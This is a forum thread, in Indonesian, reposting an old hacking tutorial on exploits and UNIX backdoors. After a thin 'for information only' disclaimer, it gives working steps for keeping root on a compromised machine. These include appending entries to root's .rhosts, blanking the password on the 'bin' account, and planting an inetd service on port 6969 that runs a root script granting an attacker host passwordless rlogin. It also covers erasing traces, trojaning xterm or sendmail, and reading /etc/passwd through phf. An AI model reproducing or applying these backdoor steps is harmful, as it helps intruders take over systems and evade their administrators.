[ New messages · Members · Forum rules · Search · RSS ]
  • Page 1 of 1
  • 1
Eksploit, Trapdoor dan Backdoor
satriaDate: Friday, 2011-08-05, 8:26 AM | Message # 1
Lieutenant colonel
Group: Administrators
Messages: 126
Reputation: 0
Status: Offline
ini hanyalah
untuk tujuan INFORMASI saja, dan mungkin orang yang membaca bisa menggunakan informasi ini untuk
melindungi sistem dibawah pengawasan mereka. ini berisi metode backdoor/trapdoor dan kode -
kode yang bisa langsung diterapkan, para netter/surfer mengetahui bagaimana * tepatnya * metode yang
bersangkutan bekerja. Especially, yang ngaku amikom?s students.
Eksploit
Sekarang tentunya
netter/surfer sudah asyik bermain - main dan bereksperimen dengan shell UNIX baru yang baru
'didapatkan'. Dan mungkin sekarang sudah mulai bertanya - tanya,"Apa sih ekploit (exploit,
`sploits) itu ?" Dalam konteks per-hacking-an, eksploit tidaklah jauh berbeda dengan artinya
dalam konteks harfiah, yaitu 'pemanfaatan'. Tentunya eksploit - eksploit 'hacking' lebih spesifik
lagi, yang kurang lebih bisa diartikan sebagai 'pemanfaatan kelemahan dari sebuah sistem untuk
tujuan - tujuan yang diluar dari penggunaan normal'. Kelemahan - kelemahan ini bisa berupa kesalahan
pemrograman, sesuatu yang tidak direncanakan oleh pemrogram asli, dan lain - lain.
Umumnya,
yang jelas paling menarik perhatian kita, adalah eksploit yang akan memberikan kita akses tidak
terbatas ke seluruh aspek dari sebuah sistem. Dalam UNIX, sering kita dengar istilah 'mengeksploit
program untuk mendapat privilese root'. Tentu saja mendapatkan 'root' bukanlah satu - satunya tujuan
pengeksploitan sistem. Seperti yang mungkin netter/surfer alami sendiri, kadang sebuah cacat dalam
program seperti maild atau ftpd bisa dimanfaatkan untuk tujuan 'header forging', 'ip spoofing',
'denial of service attack', dan 'mail bombing' (....buat Bang Anton Pardede, jangan |o| ya baca
artikel ini ? [ :-)] )
Eksploit secara besar sering dibagi menjadi dua, yaitu eksploit lokal
dan eksploit remote. Eksploit lokal adalah jenis eksploit yang hanya bisa dijalankan jika kamu sudah
punya akses ke dalam suatu sistem (baik itu melalui login telnet, ftp, dll). Eksploit jenis ini
jumlahnya banyak, sebab kamu sudah punya akses ke ribuan program yang berpotensi untuk di-eksploit.
Contoh - contoh dari eksploit jenis ini adalah buffer overflow (i.e. mh di RedHat 5, SuperProbe,
dll), race conditions (dimana dua proses saling berlomba untuk menyelesaikan tugas masing - masing,
biasanya proses A disuruh untuk menjalankan suatu utilitas yang membutuhkan privilese root temporer
sementara proses B dirancang untuk mencegat proses A sebelum proses A kembali statusnya ke privilese
user biasa, mengakibatkan di-spawn-nya shell beridentitas root - sering terjadi di mesin - mesin
IRIX dan SunOS).
Bagaimana caranya untuk bisa mendapatkan eksploit seperti ini ? Tentu saja
netter/surfer bisa menghabiskan waktu berjam - jam untuk mengutak - atik sebuah program sampai
berhasil dijebol (lebih baik dilakukan di kotak sendiri), seperti para 'elite' lainnya. Biasanya
eksploit diprogram dengan C, Perl, atau Sh. Namun kalau ilmu kungfu kamu masih kayak kami (dan
memang bawaannya malas), banyak eksploit yang sudah didokumentasi dan tersedia melalui websearch,
atau di situs - situs, seperti :

http://www.antionline.com/
http://www.rhino9.com/
http://www.dhp.com/~fyodor
 
satriaDate: Friday, 2011-08-05, 8:26 AM | Message # 2
Lieutenant colonel
Group: Administrators
Messages: 126
Reputation: 0
Status: Offline
Eksploit jenis satunya lagi adalah eksploit remote, dimana kamu bisa
mengeksploit sistem tanpa mengetahui otorisasi user/password. Tentu saja eksploit - eksploit jenis
ini jauh lebih sedikit jumlahnya, dan terkadang dampaknya juga tidak separah eksploit lokal. Lubang
cgi phf adalah salah satu contoh dari pemanfaatan eksploit remote untuk mendapatkan file/etc/passwd
(dulu LithErr pernah memberi resep cepat memanfaatkan phf)
Mungkin belum terlihat fatal, namun
sekalinya sang 'cracker' berhasil masuk ke dalam sistem memanfaatkan login dan password dari salah
seorang user, maka dia bisa menjalankan eksploit - eksploit lokal untuk mendapatkan akses tak
terbatas milik root.
Eksploit port 143 (IMAPd) malahan lebih gila lagi, dengan memberikan akses
root tanpa password. Apa trik dan tips yang kira - kira berguna untuk memanfaatkan eksploit -
eksploit remote ? Jelas sebuah portscanner sangatlah bermanfaat untuk melihat port mana saja yang
menerima koneksi. Beberapa jenis 'scanner' lebih terfokus lagi, seperti cgi scanner dari kecoak
(roachscan) yang saat dijalankan akan memeriksa direktori cgi-bin dari sejumlah server sekaligus,
mencari file password atau jalan masuk lainnya, melalui beberapa jenis eksploit umum.
Satu
program lain yang mungkin ada gunanya adalah 'netcat', bisa didapat dari http://www.l0pht.com/. Untuk
menghemat waktu, banyak cracker yang menulis skrip otomasi, jalankan skrip, tinggal berikan daftar
target - target dan tinggalkan untuk sementara waktu. Kembali lagi sejam atau dua jam kemudian,
tinggal diperiksa server - server mana saja yang ada lobangnya, bisa dieksploit atau tidak, dll
(coba lihat artikel - artikel mengenai scanning/probing di situs - situs hacker lainnya).

Terkadang ada juga eksploit yang tidak begitu jelas jenisnya, seperti eksploit lynx mailer, yang
walaupun kodenya sendiri terletak di host lain, namun untuk digunakan masih perlu campur tangan dari
user lokal untuk bisa bekerja (saat user mengklik sebuah link, sang eksploit akan mengirimkan file
password ke alamat email tertentu).
Backdoor
Seperti terjemahan harfiahnya, backdoor bisa
dianggap 'pintu masuk lewat belakang'. Backdoor berfungsi untuk memberikan sang programmer akses ke
suatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentu saja sang programmer disini
juga bisa diartikan 'sang penyusup'.
Seringkali backdoor memberikan akses tak terbatas kepada
siapapun juga yang mengetahui jalan masuknya. Walaupun tidak jarang vendor - vendor besar (baik
hardware maupun software) yang sengaja menempatkan backdoor tak terdokumentasi untuk kemudahan
'maintenance' dan sejenisnya, dalam artikel ini yang dimaksud adalah backdoor dalam artian
memberikan akses root ke dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan
menyadari bahwa ada penyerang di dalam sistem.
Kamu sudah semalaman begadang, mencoba eksploit -
eksploit remote, dan berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera
menjalankan eksploit - eksploit untuk mengambil alih kekuasaan root.
Tentunya sayang jika saat
sang sysadmin kembali bekerja di keesokan harinya, akses kamu ditutup. Nah, disinilah manfaatnya
kita menanam satu atau lebih jalan masuk 'alternatif'. Jelas, sebagian besar teknik - teknik
backdooring hanya bisa diterapkan jika kamu mempunyai perizinan root.
Ingat, bahwa tujuan
membuat backdoor bukanlah untuk mendapatkan akses root, tetapi untuk mendapatkan akses root LAGI
setelah sang sysadmin mentutup segala jalan masuk normal. Terkadang sysadmin sering menganggap
selama file - file /etc/hosts.deny telah dikonfigurasi, maka segala koneksi dari host kamu akan
ditolak. Tentu saja kalian - kalian, sang cracker, kelihaian kung fu-nya jauh di atas sang sysadmin,
sebab tanpa sepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatif dengan privilese
root.
Nah, backdoor - backdoor ini ada yang memang sudah dari sononya (seperti backdoor di
router - router, printserver, dll buatan 3Com), namun disini akan dijelaskan cara membuat backdoor
sendiri di sebuah sistem UNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah dengan
melalui file /.rhosts:korban# echo "account" >> /.rhosts perintah tadi akan menambah
satu entri di file .rhosts (sistem luar dalam contoh di atas user yang boleh mengakses account tanpa
password), dan untuk masuk kembali ke sistem dari account :
dboedax@bangka> rlogin -l root
 
satriaDate: Friday, 2011-08-05, 8:27 AM | Message # 3
Lieutenant colonel
Group: Administrators
Messages: 126
Reputation: 0
Status: Offline
korban.lemaisp.net.id poof! shell root tanpa password!
Untuk kalian yang ingin sekali lebih
tersembunyi lagi, coba perhatikan entri berikut dari file /etc/passwd sebuah sistem :

bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false
Tentunya bagi mereka yang sering
memanen password entri seperti diatas sudah tidak asing lagi. Account diatas adalah account yang
digunakan oleh UNIX sistem secara internal. Seringkali banyak diantara crackers yang mengambil jalan
singkat dan menghapus karakter *, mengakibatkan telnet dengan nama login "bin" tidak
memerlukan password. Tapi ingatlah bahwa file /etc/passwd biasanya adalah file pertama yang akan
diperiksa oleh sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar kita lebih
sulit dideteksi, maka ada baiknya kita buat file .rhosts di home directory milik bin.
Kembali ke
entri file password diatas, bisa kita lihat bahwa walaupun kita bisa me- rlogin -l bin
korban.lameisp.net.id, namun kita masih juga tidak bisa mendapatkan shell sebab account 'bin'
dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masalah ini tentunya dengan membuat
link dari /bin/false ke /bin/sh atau /bin/tcsh. Apa daya seorang sysadmin ? Tentunya jika mereka
memang keren kungfu nya, sang sysadmin akan men-setup sebuah skrip yang memeriksa keberadaan file -
file .rhosts di dalam sebuah sistem. Tak lupa merubah entri dari account - account internal dari
/bin/false ke /eenggak-ada-tuh atau string unik lainnya yang bukan merupakan nama file.
Metode
backdooring lain adalah dengan memanfaatkan "in.rootd" (sebenarnya ini hanyalah rekayasa
saja, sebab sepanjang pengetahuan kami, enggak ada yang namanya root daemon - tapi metode ini benar
- benar cocok disebut rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat
salah satu port yang didefinisikan dalam "inetd" :
root@korban# echo "ntcp
6969/tcp # Network Traffic Control Protocol" >>
/etc/services root@korban# echo
"ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >>
/etc/inetd.conf
root@korban# echo "echo indohack2.ri.go.id > ~root/.rhosts" >
/tmp/crax0r
menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem yang cukup dahsyat, namun
tidak akan segera tampak. Penjelasan dari ketiga perintah diatas :
1. Mengaktifkan protokol ntcp di
port 6969 (tentunya memilih nomor port lain yang tidak begitu mencurigakan, silahkan pilih mulai
dari 1024 sampai 65000-an), sedangkan "Network Traffic Control Protoco" adalah karangan
sendiri sebab setiap service harus punya nama, dan biasanyasysadmin tidak akan begitu curiga dengan
nama seperti itu.
2. Memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r setiap
kali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya mengeksekusi sebuah shell
berprivilese root lewat cara ini hanya akan mengakibatkan sang sistem bengong, sebab kita tidak bisa
memberikan perintah - perintah selayaknya kita login lewat jalur normal. Sang shell akan tetap
dijalankan, namun tidak akan bisa mengeksekusi perintah kita. Untuk itulah kita buat satu skrip di
direktori /tmp/crax0r (tentunya kamu lebih pintar dan memilih nama yang tidak begitu mencurigakan
seperti /tmp/dev001 )
3. Nah, perintah ke tiga inilah yang akan dieksekusi oleh sang shell yang
baru saja kita luncurkan (id=0 - root!). Tentunya pembaca bisa saja menulis skrip yang lebih
kompleks. Namun untuk menghemat tempat, kita lancarkan saja perintah yang sudah dibahas di atas,
yaitu menambahkan entri dari mesin host kita ke file .rhosts milik root.
Tentu jika sang admin
memang keren kungfu-nya, rlogin akan dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun
jika pembaca memeriksa isi direktori dan file "history" milik root dan isinya menunjukkan
bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas akan memberikan jalan masuk
lewat belakang ke dalam sistem target.
 
satriaDate: Friday, 2011-08-05, 8:27 AM | Message # 4
Lieutenant colonel
Group: Administrators
Messages: 126
Reputation: 0
Status: Offline
Sekarang tinggal :
xxxxxxxxxxxx@indohack2>
telnet korban.lameisp.net.id 6969
Nah, sistem akan tersambung ke sistem target lewat port 6969,
sedangkan daemon inet di mesin korban akan menerima sambungan tersebut, menjalankan perintah dalam
skrip /tmp/crax0r dgn privilese root, dan dengan segera menutup kembali sambungan telnet. Sekarang
.rhosts milik root sudah ditambahi satu entri lagi, yaitu nama host. Untuk kembali menggarap sistem
target (sebaiknya dilakukan saat itu juga, sebab sang sysadmin mungkin akan curiga melihat skrip
asing dijalankan lewat port 6969) kamu tinggal :
xxxxxxxxxxxxx@indohack2> rlogin -l root
korban.lameisp.net.id
dan BOOM!
korban#
Tapi ingatlah untuk segera menghapus file
.rhosts dan jejak - jejak lain. Tentunya kalau kungfu netter/surfer memang sudah cukup tinggi,
teknik menyembunyikan diri dan antideteksi sudah bukan barang asing, jadi, jangan lupa aktifkan
segal spoofer program. Jika netter/surfer benar - benar suka mengutak - utik, serang bisa dibuat
dengan lebih tersembunyi lagi, seperti dengan memanfaatkan service - service yang jarang (hampir
tidak pernah dipakai) seperti utilitas - utilitas X, segala utilitas berkepala "r", dan
banyak lagi.
Metode lain yang cukup populer adalah dengan membuat sebuah file dengan bit SUID
tambahan, namun cara ini gampang terdeteksi jika kebetulan sistem mempunyai program audit keamanan
yang akan mensensus seluruh file berbit SUID yang terletak diluar lokasi - lokasi wajar (seperti
/tmp atau lokasi homedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatu program
yang sudah berjalan/terinstall secara default, seperti xterm dan splitvt, sehingga sebuah option
rootshell akan secara otomatis excv("/bin/sh", "sh", NULL);.
Kalau kamu
memang ahlinya, netter/surfer bisa modifikasi daemon - daemon yang sedang berjalan untuk menerima
perintah - perintah hasil karangan sendiri. Berikut adalah sedikit cuplikan dari metode milik hacker
nagageni 212 yang telah berhasil memodifikasi program sendmail di server korban.com (PASM=Pukulan
Sinar Matahari):
212@GG> telnet korban.com 25
Trying mesin.korban.com ...
Connected to
mesin.korban.com.
Escape character is '^]'.
220 mesin.korban.com ESMTP Sendmail 8.8.5/8.8.5;
...[snip] ...
PASM_EXEC /bin/cp /bin/sh /tmp/elit
Done ... master!
Jika menurut netter/surfer
cuplikan diatas sudah cukup familiar, maka dengan segala kerendahan hati minta izin untuk berguru
!!
 
  • Page 1 of 1
  • 1
Search: